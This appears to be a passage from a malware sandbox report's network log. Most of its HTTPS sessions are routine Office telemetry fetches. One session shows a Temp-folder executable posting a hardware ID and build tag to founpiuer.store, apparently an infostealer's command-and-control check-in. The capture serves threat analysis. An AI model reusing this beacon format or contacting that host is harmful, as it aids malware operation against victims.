65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.4	49871	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:23 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:23 UTC	538	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:23 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: 6266d644-901e-0083-0e09-2cbb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050123Z-16547b76f7frbg6bhC1DFWr54000000007ng0000000055b1 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 05:01:23 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.4	49873	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:23 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:23 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:23 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: 28215eef-001e-0017-74b2-300c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050123Z-17df447cdb5jg4kthC1DFWux4n00000003x0000000007v1v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-07 05:01:23 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.4	49872	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:23 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:23 UTC	538	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:23 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: 8f5c374f-101e-0046-61d2-2c91b0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050123Z-16547b76f7f76p6chC1DFWctqw00000007ug0000000059kw x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 05:01:23 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.4	49874	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:24 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:24 UTC	538	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:24 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: 3018e20c-101e-008d-17d2-2c92e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050124Z-16547b76f7frbg6bhC1DFWr54000000007pg0000000025g7 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 05:01:24 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.4	49877	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:24 UTC	192	OUT	GET /rules/rule700500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:24 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:24 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE51CE7B3" x-ms-request-id: 9f0c8f5e-f01e-0020-2b6b-2e956b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050124Z-15869dbbcc6gt87nhC1DFWh9un00000007zg00000000p9fs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 05:01:24 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 6f 77 65 72 50 6f 69 6e 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPowerPoint" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.4	49875	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:24 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:24 UTC	538	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:24 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: 71af9553-101e-00a2-14d2-2c9f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050124Z-16547b76f7f9rdn9hC1DFWfk7s00000007n000000000czkv x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 05:01:24 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.4	49876	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:24 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:24 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:24 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: 05bbc59f-001e-0034-55e6-2fdd04000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050124Z-17df447cdb5vq4m4hC1DFWrbp800000003r000000000h5kt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 05:01:24 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.4	49878	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:24 UTC	192	OUT	GET /rules/rule702551v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:24 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:24 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCE9703A" x-ms-request-id: 0c2c31dc-601e-005c-338d-30f06f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050124Z-17df447cdb5qt2nfhC1DFWzhgw000000015000000000gmzf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 05:01:24 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702551" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.4	49879	104.21.5.155	443	3288	C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:24 UTC	369	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=j3aUDY3aeWLdcGsJ9f5a_a2khnnbc8XpmOBYbeoSjy4-1730955676-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1282 Host: founpiuer.store
2024-11-07 05:01:24 UTC	1282	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 44 37 31 32 34 33 30 39 45 43 33 41 45 42 37 42 39 34 31 38 39 36 36 35 36 31 46 41 32 39 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"ED7124309EC3AEB7B9418966561FA291--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-07 05:01:25 UTC	1014	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=c0mbc6m1psr2pvaci77c03tnfc; expires=Sun, 02-Mar-2025 22:48:04 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ypws67g53GUAiiuySeVQT3wPPmhxTgMtMg47SrZX1UCWD18s1y%2BJbJPDEU98Wwcn68rwu5DnxgohdESNv3%2FlDhxHET0jjmF6xG7i8%2BkBo%2F9k7V0IC6AM%2FuiYLp08QgbEfhk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8deac3e4fdf4e7f3-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1074&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2839&recv_bytes=2287&delivery_rate=2531468&cwnd=194&unsent_bytes=0&cid=731d27f302781217&ts=825&x=0"
2024-11-07 05:01:25 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 39 0d 0a Data Ascii: 11ok 173.254.250.79
2024-11-07 05:01:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.4	49881	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:25 UTC	192	OUT	GET /rules/rule701351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:25 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:25 GMT Content-Type: text/xml Content-Length: 1407 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE687B46A" x-ms-request-id: fca456d9-501e-0035-4201-2fc923000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050125Z-17df447cdb56j5xmhC1DFWn91800000003x000000000encf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-07 05:01:25 UTC	1407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.4	49883	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:25 UTC	192	OUT	GET /rules/rule702151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:25 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:25 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE156D2EE" x-ms-request-id: 11730d72-501e-000a-528e-300180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050125Z-17df447cdb54ntx4hC1DFW2k4000000003z0000000002est x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-07 05:01:25 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeo

